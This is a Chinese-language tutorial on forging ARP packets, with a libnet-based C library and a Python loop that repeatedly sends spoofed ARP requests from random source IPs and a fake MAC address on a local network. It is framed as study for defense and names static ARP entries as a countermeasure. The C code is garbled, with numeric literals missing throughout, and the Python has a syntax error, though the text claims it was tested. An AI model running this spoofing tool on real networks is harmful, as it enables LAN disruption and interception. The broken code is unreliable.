ARP数据包伪造

  一台网络中的计算机，其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的，软件可以操控硬件，硬件亦是一种特殊的软件，所以，接收者只根据数据包的内容，绝不可能判定此数据包的真正来源，一切都是可以伪造的。

网络系统功与防的矛盾斗争，可以使得我们更加快速的发现并修补系统漏洞，而且这种矛盾关系必然存在。

  人外有人，天外有天。

  攻的最高境界便是不战，是和平。

  静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御，而非攻击。

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ARP : Address Resolution Protocol,地址解析协议，其基本功能为通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。它是IPv4中网络层必不可少的协议，不过在IPv6中已不再适用，并被邻居发现协议（NDP）所替代。

——维基百科

基础资料推荐：《TCP-IP详解 卷1：协议》《ARP协议简介》

需要注意，书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用，试想，一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目，这是多么大的系统漏洞？一轮ARP伪造报文的攻击，便能使这个局域网主机之间的通讯陷入瘫痪。所以，现代操作系统采取了更加保守的arp缓存更新规则，上图已在Win7-64位操作系统与Linux 2.6.32内核上获得验证。

一台网络中的计算机，其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的，软件可以操控硬件，硬件也是一种特殊的软件，所以，接收者只根据数据包的内容，绝不可能判定此数据包的真正来源，一切都是可以伪造的。

操作系统与硬件具有构造数据包的能力，当操作系统把这种能力以系统调用的方式提供给编程者时，则，编程者亦拥有了构造任意数据包的能力。

而Libnet又对这些系统调用进行了又一次的逻辑封装，将这些能力以更加容易使用的方式展露出来，以加快应用程序的开发速度。

实验环境为GNU/Linux，以太网，主机应已安装libnet。

ForgeArp.c

 //// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 #include <libnet.h>
 #define MAC_ADDR_LEN 6
 #define IP_ADDR_LEN 4
 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
                          char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
                         )
 {
         libnet_t *net_t = NULL;
         unsigned long src_ip,dst_ip = ;
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag;
         unsigned int i=;
         src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);
         if (src_ip==-)
             {
             printf("error: libnet_name2addr4 src_ip \n");
             return ;
             }
         dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);
         if (dst_ip==-)
             {
             printf("error: libnet_name2addr4 dst_ip \n");
             return ;
             }

         printf("the src_ip_str is %s,uint32 src_ip is %d\n",src_ip_str,src_ip);
         printf("the dst_ip_str is %s,uint32 dst_ip is %d\n",dst_ip_str,dst_ip);

         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return ;
         }

         p_tag = libnet_build_arp(
                         ARPHRD_ETHER,//hardware type ethernet
                         ETHERTYPE_IP,//protocol type
                         MAC_ADDR_LEN,//mac length
                         IP_ADDR_LEN,//protocol length
                         arpOp,//op type
                         (u_int8_t *)src_mac,//source mac addr
                         (u_int8_t *)&src_ip,//source ip addr
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)&dst_ip,//dest ip  addr
                         NULL,//payload
                         ,//payload length
                         net_t,//libnet context
                         //0 stands to build a new one
         );

         if(- == p_tag)
         {
                 printf("libnet_build_arp error\n");
                 libnet_destroy(net_t);
                 return ;
         }

         p_tag = libnet_build_ethernet(//create ethernet header
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)src_mac,//source mac addr
                         ETHERTYPE_ARP,//protocol type
                         NULL,//payload
                         ,//payload length
                         net_t,//libnet context
                         //0 to build a new one
         );

         if(- == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 libnet_destroy(net_t);
                 return ;
         }

         int res;
         i=;
         for(;i<sendTimes;i++)
           if(- == (res = libnet_write(net_t)))
           {
                 printf("libnet_write error!\n");
                 libnet_destroy(net_t);
                 return ;
           }

         libnet_destroy(net_t);
         return ;
 FAIL:
         libnet_destroy(net_t);
                 return ;
 }

我们已经将ForgeArp功能编译成了shared object，接下来Python入场。

forgeArpTest.py

 """
 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
             char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
            )
 """
 import time
 import random
 from ctypes import *
 arpLib=CDLL('./ForgeArp.so')

 def MacTran(macStr):
     MacType= c_ubyte * 6
     macStr=macStr.translate(None,":")
     return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),\
                    int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))
 while True:
     lis=["192.168.0."]
     lis.append(str(int(random.random()*1000/4)))
     if lis[1]=='':
         continue
     arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") \
                         ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))
     time.sleep(1)

 print ":)"

关于ForgeAndSendArp函数中arpOp参数的选项如下：

// 源码头文件
libnet-1.2-rc3\include\libnet\libnet-headers.h 

 // 仅摘部分内容
   uint16_t ar_op;          /* operation type */
 #define ARPOP_REQUEST    1  /* req to resolve address */
 #define ARPOP_REPLY      2  /* resp to previous request */
 #define ARPOP_REVREQUEST 3  /* req protocol address given hardware */
 #define ARPOP_REVREPLY   4  /* resp giving protocol address */
 #define ARPOP_INVREQUEST 8  /* req to identify peer */
 #define ARPOP_INVREPLY   9  /* resp identifying peer */

代码测试无误。

静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御，而非攻击。

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